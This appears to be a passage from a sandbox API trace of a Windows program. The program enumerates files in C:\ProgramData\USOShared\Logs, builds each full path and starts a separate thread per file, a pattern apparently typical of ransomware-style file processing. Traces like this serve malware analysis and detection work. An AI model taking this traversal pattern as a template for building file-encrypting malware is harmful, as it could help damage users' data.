	[0079.301] wcscpy (in: _Dest=0x47bdc10, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.301] wcscat (in: _Dest=0x47bdc10, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.301] wcscat (in: _Dest=0x47bdc10, _Source="NotificationUxBroker.012.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.012.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.012.etl"
	[0079.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bdc10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a4
	[0079.301] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x235d058f, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x23917bad, ftLastWriteTime.dwHighDateTime=0x1d327bf, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.013.etl", cAlternateFileName="NO3128~1.ETL")) returned 1
	[0079.302] wcscmp (_String1="NotificationUxBroker.013.etl", _String2=".") returned 1
	[0079.302] wcscmp (_String1="NotificationUxBroker.013.etl", _String2="..") returned 1
	[0079.302] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bda10
	[0079.302] wcscpy (in: _Dest=0x47bda10, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.302] wcscat (in: _Dest=0x47bda10, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.302] wcscat (in: _Dest=0x47bda10, _Source="NotificationUxBroker.013.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.013.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.013.etl"
	[0079.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bda10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a8
	[0079.302] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x8f69453d, ftLastAccessTime.dwHighDateTime=0x1d327b9, ftLastWriteTime.dwLowDateTime=0x8f779518, ftLastWriteTime.dwHighDateTime=0x1d327b9, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.014.etl", cAlternateFileName="NO43D2~1.ETL")) returned 1
	[0079.302] wcscmp (_String1="NotificationUxBroker.014.etl", _String2=".") returned 1
	[0079.302] wcscmp (_String1="NotificationUxBroker.014.etl", _String2="..") returned 1
	[0079.302] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bda90
	[0079.302] wcscpy (in: _Dest=0x47bda90, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.302] wcscat (in: _Dest=0x47bda90, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.302] wcscat (in: _Dest=0x47bda90, _Source="NotificationUxBroker.014.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.014.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.014.etl"
	[0079.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bda90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11ac
	[0079.303] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7fb3688d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7fc1b6b8, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.015.etl", cAlternateFileName="NOTIFI~4.ETL")) returned 1
	[0079.303] wcscmp (_String1="NotificationUxBroker.015.etl", _String2=".") returned 1
	[0079.303] wcscmp (_String1="NotificationUxBroker.015.etl", _String2="..") returned 1
	[0079.303] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bd090
	[0079.303] wcscpy (in: _Dest=0x47bd090, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.303] wcscat (in: _Dest=0x47bd090, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.303] wcscat (in: _Dest=0x47bd090, _Source="NotificationUxBroker.015.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.015.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.015.etl"
	[0079.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bd090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b0
	[0079.304] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xcb502d29, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb5c1a4e, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.016.etl", cAlternateFileName="NOTIFI~3.ETL")) returned 1
	[0079.304] wcscmp (_String1="NotificationUxBroker.016.etl", _String2=".") returned 1
	[0079.304] wcscmp (_String1="NotificationUxBroker.016.etl", _String2="..") returned 1
	[0079.304] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bd310
	[0079.304] wcscpy (in: _Dest=0x47bd310, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.304] wcscat (in: _Dest=0x47bd310, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.304] wcscat (in: _Dest=0x47bd310, _Source="NotificationUxBroker.016.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.016.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.016.etl"
	[0079.304] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bd310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b4
	[0079.305] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7b53cfc, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x8be7d51, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.017.etl", cAlternateFileName="NOTIFI~1.ETL")) returned 1
	[0079.305] wcscmp (_String1="NotificationUxBroker.017.etl", _String2=".") returned 1
	[0079.305] wcscmp (_String1="NotificationUxBroker.017.etl", _String2="..") returned 1
	[0079.305] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bd610
	[0079.305] wcscpy (in: _Dest=0x47bd610, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.305] wcscat (in: _Dest=0x47bd610, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.305] wcscat (in: _Dest=0x47bd610, _Source="NotificationUxBroker.017.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.017.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.017.etl"
	[0079.305] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bd610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b8
	[0079.306] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x84bfee93, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x84bfee93, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.001.etl", cAlternateFileName="UP2DAF~1.ETL")) returned 1
	[0079.306] wcscmp (_String1="UpdateSessionOrchestration.001.etl", _String2=".") returned 1
	[0079.306] wcscmp (_String1="UpdateSessionOrchestration.001.etl", _String2="..") returned 1
	[0079.306] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476d7c8
	[0079.306] wcscpy (in: _Dest=0x476d7c8, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.306] wcscat (in: _Dest=0x476d7c8, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.306] wcscat (in: _Dest=0x476d7c8, _Source="UpdateSessionOrchestration.001.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl"
	[0079.306] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476d7c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11bc
	[0079.307] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x917b63d4, ftLastAccessTime.dwHighDateTime=0x1d5d815, ftLastWriteTime.dwLowDateTime=0xb8b481f0, ftLastWriteTime.dwHighDateTime=0x1d5d815, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.002.etl", cAlternateFileName="UP3884~1.ETL")) returned 1
	[0079.307] wcscmp (_String1="UpdateSessionOrchestration.002.etl", _String2=".") returned 1
	[0079.307] wcscmp (_String1="UpdateSessionOrchestration.002.etl", _String2="..") returned 1
	[0079.307] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476e038
	[0079.307] wcscpy (in: _Dest=0x476e038, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.307] wcscat (in: _Dest=0x476e038, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.307] wcscat (in: _Dest=0x476e038, _Source="UpdateSessionOrchestration.002.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl"
	[0079.307] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476e038, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c0
	[0079.308] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x150f0f86, ftLastAccessTime.dwHighDateTime=0x1d5d811, ftLastWriteTime.dwLowDateTime=0x39296693, ftLastWriteTime.dwHighDateTime=0x1d5d811, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.003.etl", cAlternateFileName="UP8247~1.ETL")) returned 1
	[0079.308] wcscmp (_String1="UpdateSessionOrchestration.003.etl", _String2=".") returned 1
	[0079.308] wcscmp (_String1="UpdateSessionOrchestration.003.etl", _String2="..") returned 1
	[0079.308] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476dd68
	[0079.308] wcscpy (in: _Dest=0x476dd68, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.308] wcscat (in: _Dest=0x476dd68, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.308] wcscat (in: _Dest=0x476dd68, _Source="UpdateSessionOrchestration.003.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl"
	[0079.308] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476dd68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c4
	[0079.308] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1f83bc0, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0x32ea756e, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.004.etl", cAlternateFileName="UPD2FC~1.ETL")) returned 1
	[0079.308] wcscmp (_String1="UpdateSessionOrchestration.004.etl", _String2=".") returned 1
	[0079.308] wcscmp (_String1="UpdateSessionOrchestration.004.etl", _String2="..") returned 1
	[0079.308] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476e428
	[0079.309] wcscpy (in: _Dest=0x476e428, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.309] wcscat (in: _Dest=0x476e428, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.309] wcscat (in: _Dest=0x476e428, _Source="UpdateSessionOrchestration.004.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl"
	[0079.309] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476e428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c8
	[0079.309] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfdc37a18, ftLastAccessTime.dwHighDateTime=0x1d5d80e, ftLastWriteTime.dwLowDateTime=0x290206fd, ftLastWriteTime.dwHighDateTime=0x1d5d80f, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.005.etl", cAlternateFileName="UPB784~1.ETL")) returned 1
	[0079.309] wcscmp (_String1="UpdateSessionOrchestration.005.etl", _String2=".") returned 1
	[0079.309] wcscmp (_String1="UpdateSessionOrchestration.005.etl", _String2="..") returned 1
	[0079.309] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476e0c8
	[0079.309] wcscpy (in: _Dest=0x476e0c8, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.309] wcscat (in: _Dest=0x476e0c8, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.309] wcscat (in: _Dest=0x476e0c8, _Source="UpdateSessionOrchestration.005.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl"
	[0079.309] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476e0c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11cc
	[0079.310] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8a5979b2, ftLastAccessTime.dwHighDateTime=0x1d5d80d, ftLastWriteTime.dwLowDateTime=0x8a5979b2, ftLastWriteTime.dwHighDateTime=0x1d5d80d, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.006.etl", cAlternateFileName="UP7D55~1.ETL")) returned 1
	[0079.310] wcscmp (_String1="UpdateSessionOrchestration.006.etl", _String2=".") returned 1
	[0079.310] wcscmp (_String1="UpdateSessionOrchestration.006.etl", _String2="..") returned 1
	[0079.310] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476ddf8
	[0079.310] wcscpy (in: _Dest=0x476ddf8, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.310] wcscat (in: _Dest=0x476ddf8, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.310] wcscat (in: _Dest=0x476ddf8, _Source="UpdateSessionOrchestration.006.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl"
	[0079.310] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476ddf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d0
	[0079.311] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xcbc9fc38, ftLastAccessTime.dwHighDateTime=0x1d5d80c, ftLastWriteTime.dwLowDateTime=0xefa43826, ftLastWriteTime.dwHighDateTime=0x1d5d80c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.007.etl", cAlternateFileName="UP52FC~1.ETL")) returned 1
	[0079.311] wcscmp (_String1="UpdateSessionOrchestration.007.etl", _String2=".") returned 1
	[0079.311] wcscmp (_String1="UpdateSessionOrchestration.007.etl", _String2="..") returned 1
	[0079.311] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476d858
	[0079.311] wcscpy (in: _Dest=0x476d858, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.311] wcscat (in: _Dest=0x476d858, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.311] wcscat (in: _Dest=0x476d858, _Source="UpdateSessionOrchestration.007.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl"
	[0079.311] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476d858, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d4
	[0079.312] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf1e2e9c9, ftLastAccessTime.dwHighDateTime=0x1d5d80b, ftLastWriteTime.dwLowDateTime=0x1ca46d4f, ftLastWriteTime.dwHighDateTime=0x1d5d80c, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.008.etl", cAlternateFileName="UPA721~1.ETL")) returned 1
	[0079.312] wcscmp (_String1="UpdateSessionOrchestration.008.etl", _String2=".") returned 1
	[0079.312] wcscmp (_String1="UpdateSessionOrchestration.008.etl", _String2="..") returned 1
	[0079.312] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476e4b8
	[0079.312] wcscpy (in: _Dest=0x476e4b8, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.312] wcscat (in: _Dest=0x476e4b8, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.312] wcscat (in: _Dest=0x476e4b8, _Source="UpdateSessionOrchestration.008.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl"
	[0079.312] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476e4b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d8
	[0079.313] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf7e12839, ftLastAccessTime.dwHighDateTime=0x1d5d805, ftLastWriteTime.dwLowDateTime=0x26688c0b, ftLastWriteTime.dwHighDateTime=0x1d5d806, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.009.etl", cAlternateFileName="UPFC55~1.ETL")) returned 1
	[0079.313] wcscmp (_String1="UpdateSessionOrchestration.009.etl", _String2=".") returned 1
	[0079.313] wcscmp (_String1="UpdateSessionOrchestration.009.etl", _String2="..") returned 1
	[0079.313] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476e5d8
	[0079.313] wcscpy (in: _Dest=0x476e5d8, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.313] wcscat (in: _Dest=0x476e5d8, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.313] wcscat (in: _Dest=0x476e5d8, _Source="UpdateSessionOrchestration.009.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl"
	[0079.313] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476e5d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11dc
	[0079.314] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xde371631, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x2bb800e, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.010.etl", cAlternateFileName="UPB13B~1.ETL")) returned 1
	[0079.314] wcscmp (_String1="UpdateSessionOrchestration.010.etl", _String2=".") returned 1
	[0079.314] wcscmp (_String1="UpdateSessionOrchestration.010.etl", _String2="..") returned 1
	[0079.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476de88
	[0079.314] wcscpy (in: _Dest=0x476de88, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.314] wcscat (in: _Dest=0x476de88, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.314] wcscat (in: _Dest=0x476de88, _Source="UpdateSessionOrchestration.010.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl"
	[0079.314] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476de88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e0
	[0079.315] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2a522d7b, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x4e6dab1f, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.011.etl", cAlternateFileName="UP076F~1.ETL")) returned 1
	[0079.315] wcscmp (_String1="UpdateSessionOrchestration.011.etl", _String2=".") returned 1
	[0079.315] wcscmp (_String1="UpdateSessionOrchestration.011.etl", _String2="..") returned 1
	[0079.315] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476e548
